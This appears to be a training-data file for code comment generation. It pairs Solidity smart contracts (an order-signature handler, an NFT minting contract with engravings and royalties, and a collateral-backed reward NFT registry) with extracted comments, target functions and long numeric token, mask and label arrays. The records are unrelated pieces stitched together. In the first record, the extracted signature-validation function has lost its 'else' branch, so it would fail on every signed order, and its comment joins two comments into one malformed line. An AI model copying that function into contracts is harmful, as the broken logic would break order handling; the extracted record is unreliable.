mismatch", orderInfo.orderHash ); // verify taker Require.that( ( orderInfo.order.takerAccountOwner == address(0) && orderInfo.order.takerAccountNumber == 0 ) || ( orderInfo.order.takerAccountOwner == takerAccount.owner && orderInfo.order.takerAccountNumber == takerAccount.number ), FILE, "Order taker account mismatch", orderInfo.orderHash ); // verify markets Require.that( ( orderInfo.order.makerMarket == outputMarketId && orderInfo.order.takerMarket == inputMarketId ) || ( orderInfo.order.takerMarket == outputMarketId && orderInfo.order.makerMarket == inputMarketId ), FILE, "Market mismatch", orderInfo.orderHash ); // verify inputWei Require.that( !inputWei.isZero(), FILE, "InputWei is zero", orderInfo.orderHash ); Require.that( inputWei.sign == (orderInfo.order.takerMarket == inputMarketId), FILE, "InputWei sign mismatch", orderInfo.orderHash ); } /** * Verifies that the order is decreasing the size of the maker's position. */ function verifyDecreaseOnly( Types.Par memory oldInputPar, Types.Par memory newInputPar, Types.AssetAmount memory assetAmount, Account.Info memory makerAccount, uint256 outputMarketId ) private view { // verify that the balance of inputMarketId is not increased Require.that( newInputPar.isZero() || (newInputPar.value <= oldInputPar.value && newInputPar.sign == oldInputPar.sign), FILE, "inputMarket not decreased" ); // verify that the balance of outputMarketId is not increased Types.Wei memory oldOutputWei = SOLO_MARGIN.getAccountWei(makerAccount, outputMarketId); Require.that( assetAmount.value == 0 || (assetAmount.value <= oldOutputWei.value && assetAmount.sign != oldOutputWei.sign), FILE, "outputMarket not decreased" ); } /** * Returns the AssetAmount for the outputMarketId given the order and the inputs. Updates the * filled amount of the order in storage. */ function getOutputAssetAmount( uint256 inputMarketId, uint256 outputMarketId, Types.Wei memory inputWei, OrderInfo memory orderInfo ) private returns (Types.AssetAmount memory) { uint256 outputAmount; uint256 makerFillAmount; if (orderInfo.order.takerMarket == inputMarketId) { outputAmount = inputWei.value.getPartial( orderInfo.order.makerAmount, orderInfo.order.takerAmount ); makerFillAmount = outputAmount; } else { assert(orderInfo.order.takerMarket == outputMarketId); outputAmount = inputWei.value.getPartialRoundUp( orderInfo.order.takerAmount, orderInfo.order.makerAmount ); makerFillAmount = inputWei.value; } updateMakerFilledAmount(orderInfo, makerFillAmount); return Types.AssetAmount({ sign: orderInfo.order.takerMarket == outputMarketId, denomination: Types.AssetDenomination.Wei, ref: Types.AssetReference.Delta, value: outputAmount }); } /** * Increases the stored filled amount (in makerAmount) of the order by makerFillAmount. * Returns the new total filled amount (in makerAmount). */ function updateMakerFilledAmount( OrderInfo memory orderInfo, uint256 makerFillAmount ) private { uint256 oldMakerFilledAmount = g_makerFilledAmount[orderInfo.orderHash]; uint256 totalMakerFilledAmount = oldMakerFilledAmount.add(makerFillAmount); Require.that( totalMakerFilledAmount <= orderInfo.order.makerAmount, FILE, "Cannot overfill order", orderInfo.orderHash, oldMakerFilledAmount, makerFillAmount ); g_makerFilledAmount[orderInfo.orderHash] = totalMakerFilledAmount; emit LogStopLimitOrderFilled( orderInfo.orderHash, orderInfo.order.makerAccountOwner, makerFillAmount, totalMakerFilledAmount ); } /** * Returns the current price of makerMarket divided by the current price of takerMarket. This * value is multiplied by 10^18. */ function getCurrentPrice( uint256 makerMarket, uint256 takerMarket ) private view returns (uint256) { Monetary.Price memory takerPrice = SOLO_MARGIN.getMarketPrice(takerMarket); Monetary.Price memory makerPrice = SOLO_MARGIN.getMarketPrice(makerMarket); return takerPrice.value.mul(PRICE_BASE).div(makerPrice.value); } /** * Parses the order, verifies that it is not expired or canceled, and verifies the signature. */ function getOrderAndValidateSignature( bytes memory data ) private view returns (OrderInfo memory) { Require.that( ( data.length == NUM_ORDER_BYTES || data.length == NUM_ORDER_BYTES + NUM_SIGNATURE_BYTES ), FILE, "Cannot parse order from data" ); OrderInfo memory orderInfo; orderInfo.order = abi.decode(data, (Order)); orderInfo.orderHash = getOrderHash(orderInfo.order); OrderStatus orderStatus = g_status[orderInfo.orderHash]; // verify valid signature or is pre-approved if (orderStatus == OrderStatus.Null) { bytes memory signature = parseSignature(data); address signer = TypedSignature.recover(orderInfo.orderHash, signature); Require.that( orderInfo.order.makerAccountOwner == signer, FILE, "Order invalid signature", orderInfo.orderHash ); } else { Require.that( orderStatus != OrderStatus.Canceled, FILE, "Order canceled", orderInfo.orderHash ); assert(orderStatus == OrderStatus.Approved); } return orderInfo; } // ============ Private Parsing Functions ============ /** * Returns the EIP712 hash of an order. */ function getOrderHash( Order memory order ) private view returns (bytes32) { // compute the overall signed struct hash /* solium-disable-next-line indentation */ bytes32 structHash = keccak256(abi.encode( EIP712_ORDER_STRUCT_SCHEMA_HASH, order )); // compute eip712 compliant hash /* solium-disable-next-line indentation */ return keccak256(abi.encodePacked( EIP191_HEADER, EIP712_DOMAIN_HASH, structHash )); } /** * Parses out a signature from call data. */ function parseSignature( bytes memory data ) private pure returns (bytes memory) { Require.that( data.length == NUM_ORDER_BYTES + NUM_SIGNATURE_BYTES, FILE, "Cannot parse signature from data" ); bytes memory signature = new bytes(NUM_SIGNATURE_BYTES); uint256 sigOffset = NUM_ORDER_BYTES; /* solium-disable-next-line security/no-inline-assembly */ assembly { let sigStart := add(data, sigOffset) mstore(add(signature, 0x020), mload(add(sigStart, 0x20))) mstore(add(signature, 0x040), mload(add(sigStart, 0x40))) mstore(add(signature, 0x042), mload(add(sigStart, 0x42))) } return signature; } }
* Parses the order, verifies that it is not expired or canceled, and verifies the signature./ verify valid signature or is pre-approved
function getOrderAndValidateSignature( bytes memory data ) private view returns (OrderInfo memory) { Require.that( ( data.length == NUM_ORDER_BYTES || data.length == NUM_ORDER_BYTES + NUM_SIGNATURE_BYTES ), FILE, "Cannot parse order from data" ); OrderInfo memory orderInfo; orderInfo.order = abi.decode(data, (Order)); orderInfo.orderHash = getOrderHash(orderInfo.order); OrderStatus orderStatus = g_status[orderInfo.orderHash]; if (orderStatus == OrderStatus.Null) { bytes memory signature = parseSignature(data); address signer = TypedSignature.recover(orderInfo.orderHash, signature); Require.that( orderInfo.order.makerAccountOwner == signer, FILE, "Order invalid signature", orderInfo.orderHash ); Require.that( orderStatus != OrderStatus.Canceled, FILE, "Order canceled", orderInfo.orderHash ); assert(orderStatus == OrderStatus.Approved); } return orderInfo; }
6,428,488
[ 1, 6656, 326, 1353, 16, 20761, 716, 518, 353, 486, 7708, 578, 17271, 16, 471, 20761, 326, 3372, 18, 19, 3929, 923, 3372, 578, 353, 675, 17, 25990, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 11973, 1876, 4270, 5374, 12, 203, 3639, 1731, 3778, 501, 203, 565, 262, 203, 3639, 3238, 203, 3639, 1476, 203, 3639, 1135, 261, 2448, 966, 3778, 13, 203, 565, 288, 203, 3639, 12981, 18, 19056, 12, 203, 5411, 261, 203, 7734, 501, 18, 2469, 422, 9443, 67, 7954, 67, 13718, 747, 203, 7734, 501, 18, 2469, 422, 9443, 67, 7954, 67, 13718, 397, 9443, 67, 26587, 67, 13718, 203, 5411, 262, 16, 203, 5411, 7527, 16, 203, 5411, 315, 4515, 1109, 1353, 628, 501, 6, 203, 3639, 11272, 203, 203, 3639, 4347, 966, 3778, 1353, 966, 31, 203, 3639, 1353, 966, 18, 1019, 273, 24126, 18, 3922, 12, 892, 16, 261, 2448, 10019, 203, 3639, 1353, 966, 18, 1019, 2310, 273, 11973, 2310, 12, 1019, 966, 18, 1019, 1769, 203, 203, 3639, 4347, 1482, 1353, 1482, 273, 314, 67, 2327, 63, 1019, 966, 18, 1019, 2310, 15533, 203, 203, 3639, 309, 261, 1019, 1482, 422, 4347, 1482, 18, 2041, 13, 288, 203, 5411, 1731, 3778, 3372, 273, 1109, 5374, 12, 892, 1769, 203, 5411, 1758, 10363, 273, 13833, 5374, 18, 266, 3165, 12, 1019, 966, 18, 1019, 2310, 16, 3372, 1769, 203, 5411, 12981, 18, 19056, 12, 203, 7734, 1353, 966, 18, 1019, 18, 29261, 3032, 5541, 422, 10363, 16, 203, 7734, 7527, 16, 203, 7734, 315, 2448, 2057, 3372, 3113, 203, 7734, 1353, 966, 18, 1019, 2310, 203, 5411, 11272, 203, 5411, 12981, 18, 19056, 12, 203, 7734, 1353, 1482, 480, 4347, 1482, 18, 23163, 16, 203, 7734, 7527, 16, 203, 2 ]
// SPDX-License-Identifier: Unlicense // Contract derived from etherscan at: https://etherscan.io/address/0x8d3b078d9d9697a8624d4b32743b02d270334af1#code // All rights reserved to the author. pragma solidity ^0.8.13; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "./EIP712Signing.sol"; import "./Renderer.sol"; /* _ _ _ _ __ _ _ _ _ | | | | | | | | / _| | | | | | | | | | | | | __ _| |_ ___| |__ | |_ __ _ ___ ___ ___ | | | | ___ _ __| | __| | | |/\| |/ _` | __/ __| '_ \| _/ _` |/ __/ _ \/ __|| |/\| |/ _ \| '__| |/ _` | \ /\ / (_| | || (__| | | | || (_| | (_| __/\__ \\ /\ / (_) | | | | (_| | \/ \/ \__,_|\__\___|_| |_|_| \__,_|\___\___||___(_)/ \/ \___/|_| |_|\__,_| https://www.watchfaces.world/ | https://twitter.com/watchfacesworld */ interface IERC2981 is IERC165 { function royaltyInfo(uint256 _tokenId, uint256 _salePrice) external view returns (address receiver, uint256 royaltyAmount); } // External contract for early access to minting interface IWatchfacesPriorityPass { function redeem(address holder) external; } contract WatchfacesWorld is ERC721, IERC2981, EIP712Signing { // Token ID // We encode each of the traits into the actual tokenId as an 8 digit number: // 00 00 00 00 // bezel face mood glasses // Emitted when we know that something about the token has changed // tokenId is 0xfff...ff when all tokens have been updated event MetadataUpdated(uint256 indexed tokenId); uint256 public totalSupply; // Store renderer as separate contract so we can update it if needed Renderer public renderer; // Need to check if current minter has a priority pass, and if so, redeem it IWatchfacesPriorityPass public pass; // Once all watchfaces sell out and any moderation issues are resolved, // we will turn this flag on and lock all engravings in permanently bool public engravingsLockedForever; // In case we want to have a more complex logic for royalties, we can delegate // to a separate contract. If it's not available, default to 5% IERC2981 public royaltyInfoDelegate; // Token Id -> Minted (or transferred) Timestamp mapping(uint256 => uint256) public timestamps; // We store the engravings separately from the watchface tokenIds // This lets us moderate engravings before locking them in forever mapping(uint256 => string) public engravings; // This flag lets us check mapping(uint256 => bool) private heldForAtLeast8WeeksBeforeTransfer; // Use a special ID for glow in the dark to view the correct rendering uint256 constant GLOW_IN_THE_DARK_TOKEN_ID = 4049999; constructor(address _whitelistSigningKey) ERC721("Watchfaces", "WFW") EIP712Signing(_whitelistSigningKey) { // Initial total supply is 1 (the Glow In The Dark watch) totalSupply = 1; // We automatically mint the glow in the dark watch to one of the admins. // We'll give this away in the future _mint(msg.sender, GLOW_IN_THE_DARK_TOKEN_ID); } function mint( uint256 _tokenId, bool _usePass, string calldata _engraving, bytes calldata _signature ) public payable { require(totalSupply < 3600, "No more left"); unchecked { // Can't overflow, save gas totalSupply++; } // All token parameters must be signed by a trusted server. This way we // can avoid storing prices and supply data on chain, making the mint // function use less gas. requireValidSignature( msg.sender, _tokenId, _usePass, msg.value, _engraving, _signature ); if (bytes(_engraving).length > 0) { engravings[_tokenId] = _engraving; } // We could use pass.balanceOf() to see if the sender has a pass, but // this adds gas and is only useful to the 360 passes holders. To make // minting cheaper, we ask the frontend do the check if (_usePass) { require(address(pass) != address(0), "Pass not set"); pass.redeem(msg.sender); } // Each watch is unique, and we rely on OpenZeppelin ERC721 implementation // to do the existance check _mint(msg.sender, _tokenId); } // Any owner can wipe the engraving off a watchface, but not rewrite it. // This helps us avoid any long term moderation issues while still giving // control to new owners function wipeEngraving(uint256 _tokenId) public { require(ownerOf(_tokenId) == msg.sender, "Not yours"); delete engravings[_tokenId]; emit MetadataUpdated(_tokenId); } function tokenURI(uint256 _tokenId) public view override returns (string memory) { return renderer.render( _tokenId, ownerOf(_tokenId), timestamps[_tokenId], holdingProgress(_tokenId), engravings[_tokenId] ); } function _beforeTokenTransfer( address _from, address _to, uint256 _tokenId ) internal virtual override { super._beforeTokenTransfer(_from, _to, _tokenId); // We want to reward holding watchfaces for a long time. Once a watchface // has been "cared-for", we set a special flag so the new owner can benefit // from it. // Note: this function is also called on _mint, and we know that timestamps[_tokenId] // is not set yet, so no point in checking the rest of this logic if (_from != address(0)) { if (!heldForAtLeast8WeeksBeforeTransfer[_tokenId]) { if (timestamps[_tokenId] + 8 weeks <= block.timestamp) { heldForAtLeast8WeeksBeforeTransfer[_tokenId] = true; } } } timestamps[_tokenId] = block.timestamp; emit MetadataUpdated(_tokenId); } // Holding progress is 0...1000 showing how much time the watchface has been // held for. If the watchface has been "cared-for", it's always going to be 1000 function holdingProgress(uint256 _tokenId) public view returns (uint256) { require(timestamps[_tokenId] != 0, "Token does not exist"); if (heldForAtLeast8WeeksBeforeTransfer[_tokenId]) { return 1000; } if (timestamps[_tokenId] + 8 weeks <= block.timestamp) { return 1000; } return ((block.timestamp - timestamps[_tokenId]) * 1000) / 8 weeks; } function supportsInterface(bytes4 _interfaceId) public view override(ERC721, IERC165) returns (bool) { return _interfaceId == type(IERC2981).interfaceId || super.supportsInterface(_interfaceId); } function royaltyInfo(uint256 _tokenId, uint256 _salePrice) external view override returns (address, uint256) { if (address(royaltyInfoDelegate) != address(0)) { return royaltyInfoDelegate.royaltyInfo(_tokenId, _salePrice); } // Return 5% royalties. return (owner(), (_salePrice * 5) / 100); } /* ADMIN */ // If an engraving contains any text that goes against our engraving and community guidelines, // admins can rewrite it after discussing with the watchface owner. function rewriteEngraving(uint256 _tokenId, string calldata _engraving) external onlyOwner { require(!engravingsLockedForever, "Locked forever"); engravings[_tokenId] = _engraving; emit MetadataUpdated(_tokenId); } // After all watches sell out, we call this lock function to lock the engravings in place. function lockEngravingsForever() external onlyOwner { engravingsLockedForever = true; } function withdrawAll() external { payable(owner()).transfer(address(this).balance); } function withdrawAllERC20(IERC20 _erc20Token) external { _erc20Token.transfer(owner(), _erc20Token.balanceOf(address(this))); } function setRenderer(Renderer _renderer) external onlyOwner { renderer = _renderer; emit MetadataUpdated(type(uint256).max); } function setRoyaltyInfoDelegate(IERC2981 _royaltyInfoDelegate) external onlyOwner { royaltyInfoDelegate = _royaltyInfoDelegate; } function setPass(IWatchfacesPriorityPass _pass) external onlyOwner { pass = _pass; } }
Return 5% royalties.
return (owner(), (_salePrice * 5) / 100);
5,434,010
[ 1, 990, 1381, 9, 721, 93, 2390, 606, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 327, 261, 8443, 9334, 261, 67, 87, 5349, 5147, 380, 1381, 13, 342, 2130, 1769, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0xAFe94131cE6Ba7f2766cc4D43315246D3518aAEe/sources/Mettimoto.sol
/ Admin Functions /
function startSale() external onlyOwner { _isActive = true; }
3,627,862
[ 1, 19, 282, 7807, 15486, 342, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 787, 30746, 1435, 3903, 1338, 5541, 288, 203, 3639, 389, 291, 3896, 273, 638, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.6.8; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import { CManager } from "./compound/CManager.sol"; contract RewardRegistry is Ownable, ERC721, CManager { event BaseURIChange(string baseURI); event FeesCollectorChange(address indexed collector); event ItemCreated( address indexed from, uint256 indexed tokenId, address indexed collateralRegistry, uint256 collateralAmount, uint256 releaseTime ); event ItemRedeemed( address indexed from, uint256 indexed tokenId, address indexed collateralRegistry, uint256 collateralAmount ); using SafeERC20 for IERC20; struct RewardInfo { uint256 tokenAmount; uint256 releaseTime; address tokenRegistry; bytes32 metaDataHash; } mapping (uint256 => RewardInfo) public rewardsMap; /// Creation fee in a 0 - 1000 basis uint256 public creationFee = 25; // 2,5% uint256 public constant FEES_PRECISION = 1000; address public feesCollector; constructor (address _feesCollector, string memory _baseUri) public Ownable() ERC721("Unstoppable redeemables", "REDEEM") { setFeesCollector(_feesCollector); setBaseURI(_baseUri); } /** * @dev Sets the base URI for the registry metadata * @param _baseUri Address for the fees collector */ function setBaseURI(string memory _baseUri) public onlyOwner { _setBaseURI(_baseUri); emit BaseURIChange(_baseUri); } /** * @dev Sets the fees collecto * @param _collector Address for the fees collector */ function setFeesCollector(address _collector) public onlyOwner { feesCollector = _collector; emit FeesCollectorChange(_collector); } /** * Creates a NFT backed up by some ERC20 collateral * @param _amount collateral ERC20 amount * @param _registry ERC20 registry address * @param _redeemableFrom timestamp in the future * @param _metaDataURI for the new token * @param _metaData metadata JSONified string */ function create( uint256 _amount, address _registry, uint256 _redeemableFrom, string calldata _metaDataURI, string calldata _metaData ) external payable { require(_amount > 0, "RewardRegistry: invalid collateral amount"); // solhint-disable-next-line not-rely-on-time require( _redeemableFrom > block.timestamp, "RewardRegistry: redeemable timestamp is before current time" ); uint256 creationFeeAmount = _amount .mul(creationFee) .div(FEES_PRECISION); /// address(0) is ETH. if (_registry == address(0)) { _collectEth(_amount, creationFeeAmount); } else { _collectToken(_amount, _registry, creationFeeAmount); } // Mint uint256 tokenId = totalSupply(); /// Save corresponding ERC20 amount and registry rewardsMap[tokenId] = RewardInfo({ tokenAmount: _amount, tokenRegistry: _registry, releaseTime: _redeemableFrom, metaDataHash: getMetaDataHash(_metaData) }); /// Mint new NFT backed by the ERC20 collateral to msg.sender. _mint(msg.sender, tokenId); _setTokenURI(tokenId, _metaDataURI); emit ItemCreated( msg.sender, tokenId, _registry, _amount, _redeemableFrom ); } function _collectEth(uint256 _amount, uint256 _creationFeeAmount) private { uint256 totalAmount = _amount.add(_creationFeeAmount); require( msg.value >= totalAmount, "RewardRegistry: not enought eth collateral for order + fees" ); // return change if value exedees order amount uint256 change = msg.value - totalAmount; if (change > 0) { payable(msg.sender).transfer(change); } // Transfer fees to collector payable(feesCollector).transfer(_creationFeeAmount); } function _collectToken( uint256 _amount, address _registry, uint256 _creationFeeAmount ) private { require( IERC20(_registry).balanceOf(msg.sender) >= _amount.add(_creationFeeAmount), "RewardRegistry: not enought token collateral for order + fees" ); // Transfer Collateral to this contract IERC20(_registry).safeTransferFrom( msg.sender, address(this), _amount ); // Transfer fees to collector IERC20(_registry).safeTransferFrom( msg.sender, feesCollector, _creationFeeAmount ); } function getMetaDataHash(string memory _metaData) public pure returns (bytes32) { bytes32 msgHash = keccak256(abi.encodePacked(_metaData)); // return prefixed hash, see: eth_sign() return keccak256( abi.encodePacked("\x19Ethereum Signed Message:\n32", msgHash) ); } /** * Redeems a created NFT, releasing the ERC20 collateral to the msg.sender * @param _tokenId to redeem */ function redeem(uint256 _tokenId) public { /// Check caller is owner or approved require( _isApprovedOrOwner(_msgSender(), _tokenId), "RewardRegistry: caller is not owner nor approved" ); RewardInfo memory reward = rewardsMap[_tokenId]; // solhint-disable-next-line not-rely-on-time require( block.timestamp >= reward.releaseTime, "RewardRegistry: current time is before release time" ); /// burn the token releasing the collateral to the msg.sender. _burn(_tokenId); /// Send collateral to burner if (reward.tokenRegistry == address(0)) { payable(msg.sender).transfer(reward.tokenAmount); } else { IERC20(reward.tokenRegistry).safeTransfer( msg.sender, reward.tokenAmount ); } delete rewardsMap[_tokenId]; emit ItemRedeemed( msg.sender, _tokenId, reward.tokenRegistry, reward.tokenAmount ); } }
return change if value exedees order amount
function _collectEth(uint256 _amount, uint256 _creationFeeAmount) private { uint256 totalAmount = _amount.add(_creationFeeAmount); require( msg.value >= totalAmount, "RewardRegistry: not enought eth collateral for order + fees" ); uint256 change = msg.value - totalAmount; if (change > 0) { payable(msg.sender).transfer(change); } }
13,122,089
[ 1, 2463, 2549, 309, 460, 15073, 323, 281, 1353, 3844, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
